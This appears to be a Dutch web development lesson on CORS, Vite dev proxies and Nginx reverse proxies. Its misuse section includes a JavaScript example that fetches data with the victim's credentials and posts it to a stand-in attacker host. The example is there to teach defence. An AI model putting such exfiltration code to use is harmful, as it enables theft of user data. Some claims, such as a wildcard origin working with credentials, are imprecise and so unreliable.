Cross-origin resource sharing
CORS = Cross-Origin Resource Sharing
In deze les bespreken we het concept van Cross-Origin Resource Sharing (CORS) en waarom dit mechanisme een cruciale rol speelt in de beveiliging van moderne webapplicaties. Je leert ook over de praktische uitdagingen die CORS met zich meebrengt tijdens ontwikkeling, hoe je deze kunt oplossen met een proxy in Vite, en waarom deze proxy in productie meestal niet nodig is.
Wat is CORS?
CORS (Cross-Origin Resource Sharing) is een beveiligingsmechanisme dat bepaalt welke bronnen op een server toegankelijk zijn voor verzoeken afkomstig van een andere origin.
Een origin wordt bepaald door de combinatie van:
- Het protocol: bijvoorbeeld
httpofhttps. - Het domein: bijvoorbeeld
example.comoflocalhost. - De poort: bijvoorbeeld
3000of5173.
Wanneer een front-end applicatie (bijvoorbeeld op http://localhost:5173) data probeert op te halen van een back-end server (bijvoorbeeld http://localhost:5000 of https://my-api.com), spreekt men van een cross-origin verzoek. Dit wordt standaard door de browser geblokkeerd om veiligheidsredenen.
Waarom bestaat CORS?
CORS is ontworpen om gebruikers te beschermen tegen kwaadwillende websites die ongemerkt verzoeken kunnen uitvoeren naar andere websites waar de gebruiker is ingelogd.
Voorbeeld zonder CORS
Stel je bent ingelogd op een bankwebsite (https://bank.com) en een kwaadaardige website (https://malicious-site.com) probeert via een script een overschrijving uit te voeren naar een andere rekening. Als er geen beveiliging was, zou je browser de sessiecookie voor bank.com meesturen, en de kwaadaardige website zou succesvol de transactie uitvoeren.
CORS voorkomt dit door:
- Browsers standaard alle cross-origin verzoeken te blokkeren.
- Servers in staat te stellen via speciale headers aan te geven welke origins toegang mogen krijgen.
Hoe werkt CORS?
Wanneer een browser een cross-origin verzoek detecteert, controleert deze of de server toestemming geeft om het verzoek uit te voeren. Dit proces werkt in twee fasen:
-
Eenvoudige verzoeken:
- Bijvoorbeeld een
GET-verzoek zonder speciale headers. - De browser voegt de
Origin-header toe aan het verzoek en laat de server beslissen. - De server reageert met een
Access-Control-Allow-Origin-header om aan te geven of de request is toegestaan.
- Bijvoorbeeld een
-
Preflight-verzoeken:
Voor complexere verzoeken (zoalsPOST-verzoeken met aangepaste headers) voert de browser een preflight uit. Dit is eenOPTIONS-verzoek waarmee de browser eerst vraagt welke acties zijn toegestaan.
Voorbeeld Preflight:
De browser stuurt:
OPTIONS /api/data HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
De server reageert met:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
- Toestemming: De browser voert het werkelijke verzoek uit.
- Blokkering: Als de server geen toestemming geeft, blokkeert de browser het verzoek.
De gevaren van een verkeerde CORS-configuratie
Een onjuiste implementatie van CORS kan ernstige beveiligingsrisico’s opleveren. Dit kan gebeuren wanneer je API te genereus is in het toestaan van cross-origin verzoeken.
Veelgemaakte fouten in CORS-configuraties
-
Gebruik van
Access-Control-Allow-Origin: *:
Hiermee geef je alle origins toegang tot je API, wat gevaarlijk is voor gevoelige gegevens. -
Onbeperkt gebruik van
Access-Control-Allow-Credentials:
Hiermee laat je de browser cookies of tokens meesturen bij cross-origin verzoeken, wat aanvallen zoals Cross-Site Request Forgery (CSRF) mogelijk maakt.
Hoe kan een slechte CORS-configuratie worden misbruikt?
Stel je voor dat je een API hebt die onbeperkte toegang toestaat met deze CORS-header:
Access-Control-Allow-Origin: *
Een aanvaller kan een script op zijn website plaatsen om verzoeken uit te voeren namens de gebruiker:
fetch('https://kwetsbare-api.com/geheime-data', {
credentials: 'include'
}).then(response => response.json())
.then(data => {
console.log('Geheime gegevens:', data);
// Gegevens worden doorgestuurd naar de aanvaller
fetch('https://malicious-site.com/steal-data', {
method: 'POST',
body: JSON.stringify(data),
headers: {
'Content-Type': 'application/json'
}
});
});
Wat gebeurt hier?
- Het script haalt gegevens op van
https://kwetsbare-api.commet de sessiecookie van de gebruiker. - Als de API slecht geconfigureerd is, stuurt het de gegevens terug naar de aanvaller.
- De gegevens worden vervolgens doorgestuurd naar
https://malicious-site.com, waar de aanvaller ze kan opslaan.
Hoe voorkom je dit?
- Gebruik nooit
Access-Control-Allow-Origin: *voor gevoelige API’s. - Stel een whitelist in met vertrouwde origins.
- Combineer
Access-Control-Allow-Credentialsalleen met strikte origin-controles. - Controleer de
Origin-header expliciet aan de serverkant.
Waarom heb je een proxy nodig in Vite tijdens ontwikkeling?
Tijdens de ontwikkeling van een webapplicatie draaien frontend en backend vaak op gescheiden servers:
- De frontend draait op
http://localhost:5173(Vite). - De backend draait op
http://localhost:5000ofhttps://my-api.com.
Omdat dit verschillende origins zijn, krijg je te maken met CORS-beperkingen. Hier komt een proxy van pas.
Wat doet een proxy in Vite?
Een proxy in Vite werkt als een tussenstation. Verzoeken van de frontend worden via de Vite-server naar de backend gestuurd. Voor de browser lijken alle verzoeken afkomstig van dezelfde origin, waardoor CORS-problemen worden vermeden.
Hoe stel je een proxy in?
In je vite.config.js:
export default {
server: {
proxy: {
'/api': {
target: 'http://localhost:5000',
// target: 'https://my-api.com',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, '')
}
}
}
};
Met deze configuratie worden alle verzoeken naar /api automatisch doorgestuurd naar de backend op http://localhost:5000.
Waarom is een proxy in productie niet nodig?
In productie draaien de frontend en backend meestal op dezelfde server of worden ze geconfigureerd via een reverse proxy (zoals Nginx). Hierdoor delen ze dezelfde origin en zijn er geen CORS-problemen.
Veelvoorkomende setups in productie
-
Frontend en backend op hetzelfde domein
Bijvoorbeeld:- Frontend:
https://www.mijnapp.com - Backend:
https://www.mijnapp.com/api
Omdat ze dezelfde origin hebben, is CORS geen probleem.
- Frontend:
-
Gebruik van een reverse proxy
Met een tool zoals Nginx kun je frontend en backend combineren:server {
server_name mijnapp.com;
location / {
root /var/www/frontend;
index index.html;
}
location /api/ {
proxy_pass http://localhost:5000/;
}
}
De reverse proxy zorgt ervoor dat de browser geen onderscheid maakt tussen frontend en backend.